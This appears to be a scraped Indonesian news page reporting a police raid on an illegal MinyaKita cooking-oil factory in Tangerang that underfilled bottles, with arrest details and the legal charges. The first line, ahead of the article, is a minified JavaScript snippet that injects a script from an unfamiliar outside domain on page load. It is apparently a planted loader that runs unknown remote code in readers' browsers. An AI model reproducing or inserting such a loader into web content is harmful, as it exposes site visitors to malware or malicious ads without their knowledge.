(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Gerebek Pabrik di Tangerang, Polisi Sita 13 Ton MinyaKita Ilegal


KANALKALIMANTAN.COM, TANGERANG – Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Banten menggerebek pabrik pengemasan MinyaKita ilegal yang mengurangi takaran minyak goreng di Kecamatan Rajeg, Kabupaten Tangerang, Banten.

Dalam penggerebekan tersebut, polisi menangkap pemilik pabrik berinisial AN (38) dan menyita 13 ton minyak goreng curah. Modus yang digunakan adalah mengurangi isi MinyaKita kemasan botol dari 1 liter menjadi hanya 780-800 mililiter (ml).

Baca juga: Skandal Curang MinyaKita: Takaran Dikurangi, Harga Dinaikkan, Pengawasan Pemerintah Bobol!

Modus Pengurangan Takaran MinyaKita

Wakil Direktur Reserse Kriminal Khusus Polda Banten AKBP Wiwin Setiawan mengatakan, kasus ini terungkap setelah banyak keluhan masyarakat terkait takaran minyak yang tidak sesuai standar.

“Dari hasil penyelidikan, kami menemukan pabrik yang terindikasi melakukan pengurangan volume kemasan botol MinyaKita. Setelah pengecekan di lokasi, kami menyita barang bukti yang digunakan dalam praktik ilegal ini,” ujar Wiwin, Rabu (12/3/2025) siang.

Menurut Wiwin, AN sudah menjalankan aktivitas ilegal ini sejak Januari 2025 hingga Maret 2025. Terduga pelaku meraup keuntungan Rp45 juta per bulan dari manipulasi takaran MinyaKita. Produk minyak ini kemudian diedarkan di Tangerang dan Serang.

Baca juga: Pedagang Pembeli Tak Tahu Takaran Kurang, MinyaKita Masih Dijual di Pasar Bauntung Banjarbaru

Pabrik Ilegal dan Sumber Minyak Curah

Hasil penyelidikan mengungkap, AN mendapatkan minyak curah, botol kemasan, dan label Minyakita dari distributor PT Eka Arta Global di Depok, Jawa Barat.

Selain melakukan manipulasi takaran, pabrik ini juga tidak memiliki legalitas SNI dan izin edar resmi, yang semakin memperkuat unsur pelanggaran hukum dalam kasus ini.

Ditreskrimsus Polda Banten kini mengembangkan penyelidikan untuk mengungkap pihak lain yang terlibat. Salah satunya, distributor yang memasok minyak curah dan botol kemasan kepada AN.

“Saat ini, pelaku bekerja sendiri dengan dibantu beberapa karyawan. Namun, kami akan mengembangkan penyelidikan untuk menemukan pelaku lain yang membantu dan menyuplai barang kepada AN,” ungkap Wiwin.

Baca juga: Curang Kurangi Takaran, Ini 3 Perusahaan MinyaKita

Ancaman Hukuman untuk Pelaku

Pelaku AN dijerat dengan Pasal 113 juncto Pasal 57 Undang-Undang Nomor 7 Tahun 2014 tentang Perdagangan serta Pasal 62 ayat (1) juncto Pasal 8 ayat (1) Undang-Undang Nomor 8 Tahun 1999 tentang Perlindungan Konsumen.

Ancaman hukumannya adalah 3 tahun penjara dan denda Rp 3 miliar. Dengan adanya penggerebekan pabrik di Tangerang, masyarakat diimbau lebih waspada dan memeriksa produk MinyaKita yang dibeli, terutama dari sisi takaran dan legalitas produk. (Kanalkalimantan.com/Beritasatu.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

6 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

7 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

8 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

9 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

10 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

10 jam ago

This website uses cookies.